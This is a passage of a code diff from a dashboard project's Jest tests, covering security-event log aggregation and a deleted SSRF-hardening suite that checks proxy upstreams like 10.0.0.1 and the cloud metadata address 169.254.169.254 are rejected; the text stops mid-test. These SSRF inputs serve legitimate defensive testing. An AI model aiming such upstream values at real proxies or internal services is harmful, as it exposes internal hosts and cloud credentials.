const store = getStore({ filePath: path.join(dir, 'security-events.jsonl'), log: console });
|
|
||||||
|
|
||||||
// Fixture set (all 10 minutes old unless noted):
|
|
||||||
// 1.1.1.1 — 3 requests, 1 denied, hosts {a.example, b.example} (TOP by count)
|
|
||||||
// 9.9.9.9 — 2 requests, 2 errors, host {c.example}
|
|
||||||
// 8.8.8.8 — 2 requests, all success, host {a.example} (tie with 9.9.9.9 → IP asc wins)
|
|
||||||
// api-source event — MUST be excluded
|
|
||||||
// old caddy event (47h ago) — excluded by the 24h window, included by 48h
|
|
||||||
// (47h not 48h: a same-instant fixture vs route `since` races the
|
|
||||||
// inclusive boundary — keep it unambiguous on both sides)
|
|
||||||
const now = Date.now();
|
|
||||||
const T = (minAgo) => new Date(now - minAgo * 60000).toISOString();
|
|
||||||
[
|
|
||||||
{ source_type: 'caddy', actor: '1.1.1.1', target: 'GET /', action: 'http.200', outcome: 'success', severity: 'info', metadata: { host: 'a.example', status: 200 } },
|
|
||||||
{ source_type: 'caddy', actor: '1.1.1.1', target: 'GET /wp-login.php', action: 'http.401', outcome: 'denied', severity: 'warn', metadata: { host: 'b.example', status: 401 } },
|
|
||||||
{ source_type: 'caddy', actor: '1.1.1.1', target: 'GET /x', action: 'http.200', outcome: 'success', severity: 'info', metadata: { host: 'a.example', status: 200 } },
|
|
||||||
{ source_type: 'caddy', actor: '9.9.9.9', target: 'GET /y', action: 'http.502', outcome: 'error', severity: 'error', metadata: { host: 'c.example', status: 502 } },
|
|
||||||
{ source_type: 'caddy', actor: '9.9.9.9', target: 'GET /z', action: 'http.502', outcome: 'error', severity: 'error', metadata: { host: 'c.example', status: 502 } },
|
|
||||||
{ source_type: 'caddy', actor: '8.8.8.8', target: 'GET /', action: 'http.200', outcome: 'success', severity: 'info', metadata: { host: 'a.example', status: 200 } },
|
|
||||||
{ source_type: 'caddy', actor: '8.8.8.8', target: 'GET /health', action: 'http.200', outcome: 'success', severity: 'info', metadata: { host: 'a.example', status: 200 } },
|
|
||||||
{ source_type: 'api', actor: '127.0.0.1', target: 'GET /api/v1/services', action: 'services.list', outcome: 'success', severity: 'info', metadata: { host: 'status.sami' } },
|
|
||||||
{ ts: T(47 * 60), source_type: 'caddy', actor: '5.5.5.5', target: 'GET /old', action: 'http.200', outcome: 'success', severity: 'info', metadata: { host: 'old.example', status: 200 } },
|
|
||||||
].forEach((partial) => {
|
|
||||||
store.append(Object.assign({ source_host: 'testhost', ts: T(10) }, partial));
|
|
||||||
});
|
|
||||||
|
|
||||||
const app = express().use('/api/v1/security', require('../../routes/security')({ log: console }));
|
|
||||||
server = await listen(app);
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll((done) => {
|
|
||||||
server.close(done);
|
|
||||||
delete process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
fs.rmSync(dir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('aggregates per-IP counts, denied/error splits, host sets; excludes api-source + old events', async () => {
|
|
||||||
const res = await get(server, '/api/v1/security/events/perimeter?hours=24');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
|
|
||||||
const { summary, topIPs, byHost } = res.body;
|
|
||||||
// 8 in-window events minus the api-source one = 7 caddy events
|
|
||||||
expect(summary.events).toBe(7);
|
|
||||||
expect(summary.uniqueIPs).toBe(3);
|
|
||||||
expect(summary.denied).toBe(1);
|
|
||||||
expect(summary.error).toBe(2);
|
|
||||||
|
|
||||||
// Ordering: count desc, tie-break IP asc → 1.1.1.1 (3), 8.8.8.8 (2), 9.9.9.9 (2)
|
|
||||||
expect(topIPs.map((t) => t.ip)).toEqual(['1.1.1.1', '8.8.8.8', '9.9.9.9']);
|
|
||||||
const top = topIPs[0];
|
|
||||||
expect(top.count).toBe(3);
|
|
||||||
expect(top.denied).toBe(1);
|
|
||||||
expect(top.error).toBe(0);
|
|
||||||
expect(top.hosts).toEqual(['a.example', 'b.example']);
|
|
||||||
|
|
||||||
const nine = topIPs[2];
|
|
||||||
expect(nine.error).toBe(2);
|
|
||||||
|
|
||||||
// byHost: a.example=4, c.example=2, b.example=1
|
|
||||||
const hostByName = Object.fromEntries(byHost.map((h) => [h.host, h]));
|
|
||||||
expect(hostByName['a.example'].count).toBe(4);
|
|
||||||
expect(hostByName['c.example'].count).toBe(2);
|
|
||||||
expect(hostByName['c.example'].error).toBe(2);
|
|
||||||
expect(hostByName['b.example'].count).toBe(1);
|
|
||||||
expect(hostByName['b.example'].denied).toBe(1);
|
|
||||||
// old.example (48h) and status.sami (api-source) absent
|
|
||||||
expect(hostByName['old.example']).toBeUndefined();
|
|
||||||
expect(hostByName['status.sami']).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('clamps invalid hours/limit instead of erroring', async () => {
|
|
||||||
const res = await get(server, '/api/v1/security/events/perimeter?hours=-5&limit=9999');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.window.hours).toBe(24);
|
|
||||||
expect(res.body.topIPs.length).toBeLessThanOrEqual(15);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('hours window filters correctly (48h includes the old event)', async () => {
|
|
||||||
const res = await get(server, '/api/v1/security/events/perimeter?hours=48');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
// 7 in-window + 1 old caddy event = 8 (api-source still excluded)
|
|
||||||
expect(res.body.summary.events).toBe(8);
|
|
||||||
expect(res.body.summary.uniqueIPs).toBe(4);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty store returns valid zero-response', async () => {
|
|
||||||
// Fresh jest module registry → fresh getStore() memo → empty store.
|
|
||||||
jest.resetModules();
|
|
||||||
const dir2 = tmpdir();
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(dir2, 'empty.jsonl');
|
|
||||||
const securityRoutesFresh = require('../../routes/security');
|
|
||||||
const app = express().use('/api/v1/security', securityRoutesFresh({ log: console }));
|
|
||||||
const server2 = await listen(app);
|
|
||||||
try {
|
|
||||||
const res = await get(server2, '/api/v1/security/events/perimeter');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
expect(res.body.summary.events).toBe(0);
|
|
||||||
expect(res.body.summary.uniqueIPs).toBe(0);
|
|
||||||
expect(res.body.topIPs).toEqual([]);
|
|
||||||
expect(res.body.byHost).toEqual([]);
|
|
||||||
} finally {
|
|
||||||
server2.close();
|
|
||||||
fs.rmSync(dir2, { recursive: true, force: true });
|
|
||||||
delete process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-120 event-store filterEvents()/query() parity', () => {
|
|
||||||
test('filterEvents returns exactly what query() totals (same predicate)', () => {
|
|
||||||
const dir = tmpdir();
|
|
||||||
const store = new SecurityEventStore({ filePath: path.join(dir, 's.jsonl'), log: console });
|
|
||||||
const now = Date.now();
|
|
||||||
for (let i = 0; i < 30; i++) {
|
|
||||||
store.append({
|
|
||||||
source_type: i % 2 ? 'caddy' : 'api',
|
|
||||||
actor: `10.0.0.${i % 5}`,
|
|
||||||
target: 'GET /',
|
|
||||||
action: `http.${200 + (i % 3) * 100}`,
|
|
||||||
outcome: i % 7 === 0 ? 'denied' : 'success',
|
|
||||||
severity: i % 7 === 0 ? 'warn' : 'info',
|
|
||||||
ts: new Date(now - (i % 10) * 60000).toISOString(),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
const since = new Date(now - 15 * 60000).toISOString();
|
|
||||||
const q = { source_type: 'caddy', since };
|
|
||||||
const filtered = store.filterEvents(q);
|
|
||||||
const paged = store.query(Object.assign({ limit: 1000 }, q));
|
|
||||||
expect(filtered.length).toBe(paged.total);
|
|
||||||
// newest-first order preserved by both
|
|
||||||
expect(filtered.map((e) => e.id)).toEqual(paged.events.map((e) => e.id));
|
|
||||||
|
|
||||||
// Multi-value filter parity (comma string form)
|
|
||||||
const q2 = { source_type: 'caddy', outcome: 'denied,error', since };
|
|
||||||
expect(store.filterEvents(q2).length).toBe(store.query(Object.assign({ limit: 1000 }, q2)).total);
|
|
||||||
fs.rmSync(dir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -34,23 +34,14 @@ jest.mock('../../src/utilities/pagination', () => ({
|
|||||||
parsePaginationParams: jest.fn(() => null),
|
parsePaginationParams: jest.fn(() => null),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
jest.mock('../../src/utils/responses', () => {
|
jest.mock('../../src/utils/responses', () => ({
|
||||||
// DC-063: services.js now imports canonical `errorResponse` (statusCode-first),
|
success: jest.fn((res, data, statusCode = 200) => {
|
||||||
// so this mock must expose both that AND the legacy `error` alias to keep the
|
return res.status(statusCode).json({ success: true, ...data });
|
||||||
// existing fixture working. The canonical validator is bypassed (tests use it
|
}),
|
||||||
// as a structured passthrough); the alias preserves call-shape for any
|
error: jest.fn((res, message, statusCode = 500, extra) => {
|
||||||
// remaining legacy import.
|
return res.status(statusCode).json({ success: false, error: message, ...extra });
|
||||||
const errorResponse = jest.fn((res, statusCode, message, extra) =>
|
}),
|
||||||
res.status(statusCode).json({ success: false, error: message, ...extra })
|
}));
|
||||||
);
|
|
||||||
return {
|
|
||||||
success: jest.fn((res, data, statusCode = 200) =>
|
|
||||||
res.status(statusCode).json({ success: true, ...data })
|
|
||||||
),
|
|
||||||
errorResponse,
|
|
||||||
error: errorResponse, // alias used by files that import `error: errorResponse`
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
// errors module NOT mocked — used for real ValidationError/NotFoundError/ConflictError
|
// errors module NOT mocked — used for real ValidationError/NotFoundError/ConflictError
|
||||||
|
|
||||||
@@ -288,21 +279,6 @@ describe('Services Routes', () => {
|
|||||||
expect(res.status).toBe(200);
|
expect(res.status).toBe(200);
|
||||||
expect(res.body.hasApiKey).toBe(true);
|
expect(res.body.hasApiKey).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('requires both username and password before reporting Basic Auth ready', async () => {
|
|
||||||
const credentialManager = {
|
|
||||||
store: jest.fn(),
|
|
||||||
retrieve: jest.fn().mockImplementation((key) => {
|
|
||||||
if (key === 'service.radarr.username') return Promise.resolve('admin');
|
|
||||||
return Promise.resolve(null);
|
|
||||||
}),
|
|
||||||
delete: jest.fn(),
|
|
||||||
};
|
|
||||||
const { app } = createApp({ credentialManager });
|
|
||||||
const res = await request(app).get('/api/services/radarr/credentials');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.hasBasicAuth).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
// ===== SEEDHOST CREDENTIAL ENDPOINTS =====
|
// ===== SEEDHOST CREDENTIAL ENDPOINTS =====
|
||||||
|
|||||||
@@ -1,535 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-074: SSRF hardening for sites.js — `/site` and `/site/external`
|
|
||||||
* must reject upstream hosts that resolve to private/reserved ranges
|
|
||||||
* BEFORE they reach the Caddyfile.
|
|
||||||
*
|
|
||||||
* Bug class: an authenticated dashboard operator could call
|
|
||||||
* POST /api/v1/site {domain: "x.example.com", upstream: "10.0.0.1:80"}
|
|
||||||
* POST /api/v1/site/external {subdomain: "x", externalUrl: "http://192.168.1.5"}
|
|
||||||
* and end up with a Caddy site block that proxies PUBLIC traffic to an
|
|
||||||
* INTERNAL host. Caddy runs on DNS2 (same network as the targets), so
|
|
||||||
* the SSRF lands.
|
|
||||||
*
|
|
||||||
* Pre-fix: `/site`'s only upstream check was `^[a-z0-9.-]+:\d{1,5}$/i`,
|
|
||||||
* which accepts 192.168.1.1:80 and 169.254.169.254:80 (the AWS
|
|
||||||
* metadata IP) with no problem. `/site/external` used `validateURL`
|
|
||||||
* without `blockPrivate: true` at all.
|
|
||||||
*
|
|
||||||
* Post-fix: a new helper `validateUpstream()` in `fleet-validation.js`
|
|
||||||
* reuses the resolver+private-range checks fleet-validation already has
|
|
||||||
* for DC-068, gating Caddyfile writes behind a public-IP requirement.
|
|
||||||
* Opt-in via `SITES_ALLOW_PRIVATE_UPSTREAMS=true` for operators who
|
|
||||||
* intentionally proxy to private targets.
|
|
||||||
*
|
|
||||||
* The suite covers three layers:
|
|
||||||
* 1. Helper unit tests — validateUpstream with mocked DNS / literal IPs
|
|
||||||
* 2. Route integration tests — POST /site and POST /site/external
|
|
||||||
* reject each known private range, accept public IPs and hostnames
|
|
||||||
* 3. Regression — pre-fix payload `10.0.0.1:80` is rejected (the
|
|
||||||
* canonical SSRF regression proof)
|
|
||||||
*/
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
const {
|
|
||||||
validateUpstream,
|
|
||||||
isPrivateOrReservedIPv4,
|
|
||||||
isPrivateOrReservedIPv6,
|
|
||||||
} = require('../../src/utilities/fleet-validation');
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// Test fixtures
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
const LOG = () => ({ info: jest.fn(), warn: jest.fn(), error: jest.fn() });
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Build a minimal Express app that mounts /api/v1/sites with stubbed
|
|
||||||
* caddy/dns/buildDomain/addServiceToConfig. The stubs record every call
|
|
||||||
* so tests can assert the route does NOT mutate the Caddyfile when it
|
|
||||||
* should reject.
|
|
||||||
*/
|
|
||||||
function createSitesApp({ log, caddyStub, buildDomainStub, dnsStub, addServiceToConfigStub } = {}) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json({ limit: '1mb' }));
|
|
||||||
const sites = require('../../routes/sites');
|
|
||||||
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
const caddy = caddyStub || {
|
|
||||||
read: async () => '# stub caddyfile\n',
|
|
||||||
modify: jest.fn(async () => ({ success: true })),
|
|
||||||
adminUrl: 'http://127.0.0.1:2019',
|
|
||||||
filePath: '/tmp/stub-Caddyfile',
|
|
||||||
};
|
|
||||||
const dns = dnsStub || {
|
|
||||||
universalCreateRecord: jest.fn(async () => true),
|
|
||||||
};
|
|
||||||
app.use('/api/v1', sites({
|
|
||||||
asyncHandler: wrap,
|
|
||||||
ok: (res, data) => res.json({ ok: true, ...data }),
|
|
||||||
successMessage: (res, msg) => res.json({ ok: true, message: msg }),
|
|
||||||
caddy,
|
|
||||||
dns,
|
|
||||||
fetchT: async () => ({ ok: true, json: async () => ({}) }),
|
|
||||||
buildDomain: buildDomainStub || ((sub) => `${sub}.example.com`),
|
|
||||||
addServiceToConfig: addServiceToConfigStub || jest.fn(async () => true),
|
|
||||||
siteConfig: { dnsServerIp: '127.0.0.1' },
|
|
||||||
log: log || LOG(),
|
|
||||||
}));
|
|
||||||
// JSON error middleware — must mirror the shape sites.js's production
|
|
||||||
// global error middleware emits so route tests can assert on it. Without
|
|
||||||
// this, Express's default error handler returns an HTML stack trace and
|
|
||||||
// res.body.error is undefined.
|
|
||||||
// eslint-disable-next-line no-unused-vars
|
|
||||||
app.use((err, req, res, next) => {
|
|
||||||
const status = err.statusCode || 500;
|
|
||||||
res.status(status).json({
|
|
||||||
error: err.message || 'Internal Server Error',
|
|
||||||
code: err.code || null,
|
|
||||||
field: err.field || null,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
return { app, caddy };
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Mock dns.promises.lookup to return a specific IP for any hostname.
|
|
||||||
* Returns an array of `{address, family}` records since fleet-validation
|
|
||||||
* calls `dns.lookup(name, {all: true})`. */
|
|
||||||
function mockDnsLookup(map) {
|
|
||||||
const dns = require('dns');
|
|
||||||
const original = dns.promises.lookup;
|
|
||||||
dns.promises.lookup = async (hostname, opts) => {
|
|
||||||
for (const [pattern, ip] of Object.entries(map)) {
|
|
||||||
if (hostname === pattern || (pattern instanceof RegExp && pattern.test(hostname))) {
|
|
||||||
const family = ip.includes(':') ? 6 : 4;
|
|
||||||
return [{ address: ip, family }];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// Default: throw ENOTFOUND
|
|
||||||
const err = new Error('ENOTFOUND');
|
|
||||||
err.code = 'ENOTFOUND';
|
|
||||||
throw err;
|
|
||||||
};
|
|
||||||
return () => {
|
|
||||||
dns.promises.lookup = original;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// 1. Helper unit tests
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-074: validateUpstream (helper)', () => {
|
|
||||||
let restoreDns;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
delete process.env.SITES_ALLOW_PRIVATE_UPSTREAMS;
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
if (restoreDns) restoreDns();
|
|
||||||
delete process.env.SITES_ALLOW_PRIVATE_UPSTREAMS;
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('format validation', () => {
|
|
||||||
test('rejects empty / non-string with INVALID_UPSTREAM', async () => {
|
|
||||||
expect(await validateUpstream('')).toMatchObject({ ok: false, code: 'INVALID_UPSTREAM' });
|
|
||||||
expect(await validateUpstream(null)).toMatchObject({ ok: false, code: 'INVALID_UPSTREAM' });
|
|
||||||
expect(await validateUpstream(undefined)).toMatchObject({ ok: false, code: 'INVALID_UPSTREAM' });
|
|
||||||
expect(await validateUpstream(42)).toMatchObject({ ok: false, code: 'INVALID_UPSTREAM' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects missing port with INVALID_UPSTREAM', async () => {
|
|
||||||
expect(await validateUpstream('hostonly')).toMatchObject({ ok: false, code: 'INVALID_UPSTREAM' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-integer port with INVALID_PORT', async () => {
|
|
||||||
expect(await validateUpstream('host:abc')).toMatchObject({ ok: false, code: 'INVALID_PORT' });
|
|
||||||
expect(await validateUpstream('host:80.5')).toMatchObject({ ok: false, code: 'INVALID_PORT' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects out-of-range port with INVALID_PORT', async () => {
|
|
||||||
expect(await validateUpstream('host:0')).toMatchObject({ ok: false, code: 'INVALID_PORT' });
|
|
||||||
expect(await validateUpstream('host:65536')).toMatchObject({ ok: false, code: 'INVALID_PORT' });
|
|
||||||
expect(await validateUpstream('host:99999999')).toMatchObject({ ok: false, code: 'INVALID_PORT' });
|
|
||||||
expect(await validateUpstream('host:-1')).toMatchObject({ ok: false, code: 'INVALID_PORT' });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('private IPv4 reject (literal)', () => {
|
|
||||||
const PRIVATE_V4 = [
|
|
||||||
['127.0.0.1', 'loopback'],
|
|
||||||
['127.255.255.1', 'loopback'],
|
|
||||||
['10.0.0.1', 'RFC 1918'],
|
|
||||||
['172.16.0.1', 'RFC 1918'],
|
|
||||||
['192.168.1.1', 'RFC 1918'],
|
|
||||||
['169.254.169.254', 'link-local'], // AWS IMDS
|
|
||||||
['100.64.0.1', 'CGNAT'],
|
|
||||||
['224.0.0.1', 'multicast'],
|
|
||||||
['255.255.255.255', 'broadcast'],
|
|
||||||
['0.0.0.0', 'reserved'],
|
|
||||||
];
|
|
||||||
for (const [ip, wantLabel] of PRIVATE_V4) {
|
|
||||||
test(`rejects ${ip} (${wantLabel})`, async () => {
|
|
||||||
const r = await validateUpstream(`${ip}:80`);
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(r.message).toMatch(new RegExp(wantLabel, 'i'));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('private IPv6 reject (literal)', () => {
|
|
||||||
test('rejects ::1 (loopback)', async () => {
|
|
||||||
const r = await validateUpstream('[::1]:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV6');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects fe80::1 (link-local)', async () => {
|
|
||||||
const r = await validateUpstream('[fe80::1]:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV6');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects fc00::1 (ULA)', async () => {
|
|
||||||
const r = await validateUpstream('[fc00::1]:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV6');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('public IPs accepted (literal)', () => {
|
|
||||||
test('accepts 8.8.8.8', async () => {
|
|
||||||
const r = await validateUpstream('8.8.8.8:53');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.host).toBe('8.8.8.8');
|
|
||||||
expect(r.port).toBe(53);
|
|
||||||
expect(r.family).toBe(4);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts 1.1.1.1', async () => {
|
|
||||||
const r = await validateUpstream('1.1.1.1:443');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.port).toBe(443);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('hostname resolve', () => {
|
|
||||||
test('accepts hostname that resolves to public IP', async () => {
|
|
||||||
restoreDns = mockDnsLookup({ 'public.example.com': '8.8.8.8' });
|
|
||||||
const r = await validateUpstream('public.example.com:443');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.resolvedIp).toBe('8.8.8.8');
|
|
||||||
expect(r.family).toBe(4);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects hostname that resolves to private IP (DNS rebinding defense)', async () => {
|
|
||||||
restoreDns = mockDnsLookup({ 'evil.example.com': '10.0.0.5' });
|
|
||||||
const r = await validateUpstream('evil.example.com:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(r.message).toMatch(/evil\.example\.com.*10\.0\.0\.5/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects hostname that fails to resolve', async () => {
|
|
||||||
// mockDnsLookup default throws ENOTFOUND
|
|
||||||
const r = await validateUpstream('does-not-exist.invalid:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toMatch(/DNS_/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects hostname with invalid charset pre-DNS', async () => {
|
|
||||||
const r = await validateUpstream('host with spaces:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOST');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('SITES_ALLOW_PRIVATE_UPSTREAMS opt-in', () => {
|
|
||||||
test('default rejects private IPs', async () => {
|
|
||||||
const r = await validateUpstream('10.0.0.1:80');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('opt-in accepts private literal IP', async () => {
|
|
||||||
process.env.SITES_ALLOW_PRIVATE_UPSTREAMS = 'true';
|
|
||||||
const r = await validateUpstream('10.0.0.1:80');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('opt-in accepts private DNS-resolved host', async () => {
|
|
||||||
process.env.SITES_ALLOW_PRIVATE_UPSTREAMS = 'true';
|
|
||||||
restoreDns = mockDnsLookup({ 'internal.example.com': '10.0.0.5' });
|
|
||||||
const r = await validateUpstream('internal.example.com:80');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('explicit allowPrivate:false overrides env opt-in (programmatic guard)', async () => {
|
|
||||||
process.env.SITES_ALLOW_PRIVATE_UPSTREAMS = 'true';
|
|
||||||
const r = await validateUpstream('10.0.0.1:80', { allowPrivate: false });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
// 2. Route integration tests — POST /site
|
|
||||||
// ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-074: POST /api/v1/site — SSRF hardening', () => {
|
|
||||||
let restoreDns;
|
|
||||||
let caddyStub;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
delete process.env.SITES_ALLOW_PRIVATE_UPSTREAMS;
|
|
||||||
caddyStub = {
|
|
||||||
read: async () => '# stub caddyfile\n',
|
|
||||||
modify: jest.fn(async () => ({ success: true })),
|
|
||||||
adminUrl: 'http://127.0.0.1:2019',
|
|
||||||
filePath: '/tmp/stub-Caddyfile',
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
if (restoreDns) restoreDns();
|
|
||||||
delete process.env.SITES_ALLOW_PRIVATE_UPSTREAMS;
|
|
||||||
});
|
|
||||||
|
|
||||||
const REGRESSION_CASES = [
|
|
||||||
['10.0.0.1:80', 'PRIVATE_IPV4'],
|
|
||||||
['172.16.0.1:80', 'PRIVATE_IPV4'],
|
|
||||||
['192.168.1.1:80', 'PRIVATE_IPV4'],
|
|
||||||
['127.0.0.1:80', 'PRIVATE_IPV4'],
|
|
||||||
['169.254.169.254:80', 'PRIVATE_IPV4'], // AWS IMDS
|
|
||||||
['100.64.0.1:80', 'PRIVATE_IPV4'], // CGNAT
|
|
||||||
['224.0.0.1:80', 'PRIVATE_IPV4'], // multicast
|
|
||||||
['0.0.0.0:80', 'PRIVATE_IPV4'], // reserved
|
|
||||||
['[::1]:80', 'PRIVATE_IPV6'],
|
|
||||||
['[fc00::1]:80', 'PRIVATE_IPV6'],
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const [upstream, wantCode] of REGRESSION_CASES) {
|
|
||||||
test(`rejects upstream="${upstream}" with code=${wantCode}`, async () => {
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'evil.example.com', upstream });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/\[DC-074\]/);
|
|
||||||
expect(res.body.error).toMatch(/SITES_ALLOW_PRIVATE_UPSTREAMS/);
|
|
||||||
// caddy.modify() must NOT have been called (gate happens before write)
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
test('rejects DNS-resolved private IP (rebinding defense)', async () => {
|
|
||||||
restoreDns = mockDnsLookup({ 'looks-public.example.com': '10.0.0.5' });
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'evil.example.com', upstream: 'looks-public.example.com:80' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/10\.0\.0\.5/);
|
|
||||||
expect(caddyStub.modify).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts public literal IP', async () => {
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'new.example.com', upstream: '8.8.8.8:80' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(caddyStub.modify).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts hostname resolving to public IP', async () => {
|
|
||||||
restoreDns = mockDnsLookup({ 'real.example.com': '8.8.8.8' });
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'new.example.com', upstream: 'real.example.com:80' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(caddyStub.modify).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('SITES_ALLOW_PRIVATE_UPSTREAMS=true opts in for private literal', async () => {
|
|
||||||
process.env.SITES_ALLOW_PRIVATE_UPSTREAMS = 'true';
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'lab.example.com', upstream: '10.0.0.1:80' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(caddyStub.modify).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('SITES_ALLOW_PRIVATE_UPSTREAMS=true opts in for private-resolved hostname', async () => {
|
|
||||||
process.env.SITES_ALLOW_PRIVATE_UPSTREAMS = 'true';
|
|
||||||
restoreDns = mockDnsLookup({ 'internal.lan': '10.0.0.5' });
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'lab.example.com', upstream: 'internal.lan:80' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects out-of-range port without invoking private-IP check', async () => {
|
|
||||||
const { app } = createSitesApp({ caddyStub });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/site')
|
|
||||||
.send({ domain: 'new.example.com', upstream: '8.8.8.8:99999' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/INVALID_PORT|\[DC-074\]/);
|
|
||||||
